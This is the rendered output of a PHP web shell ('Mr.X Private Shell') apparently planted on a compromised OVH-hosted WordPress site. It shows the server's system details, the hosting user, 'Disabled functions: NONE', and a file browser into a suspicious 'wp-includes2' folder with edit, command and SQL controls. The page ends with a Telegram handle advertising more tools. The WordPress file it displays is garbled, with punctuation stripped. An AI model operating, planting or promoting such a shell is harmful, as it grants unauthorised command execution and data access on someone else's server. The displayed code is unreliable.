Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-includes2///blocks/      ( Reset | Go to )
File Name: index.php
Edit
<?php
/**
 * Used to set up all core blocks used with the block editor.
 *
 * @package WordPress
 */

define'BLOCKS_PATH'ABSPATH WPINC '/blocks/' );

// Include files required for core blocks registration.
require BLOCKS_PATH 'legacy-widget.php';
require 
BLOCKS_PATH 'widget-group.php';
require 
BLOCKS_PATH 'require-dynamic-blocks.php';

/**
 * Registers core block types using metadata files.
 * Dynamic core blocks are registered separately.
 *
 * @since 5.5.0
 */
function register_core_block_types_from_metadata() {
    
$block_folders = require BLOCKS_PATH 'require-static-blocks.php';
    foreach ( 
$block_folders as $block_folder ) {
        
register_block_type(
            
BLOCKS_PATH $block_folder
        
);
    }
}
add_action'init''register_core_block_types_from_metadata' );

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL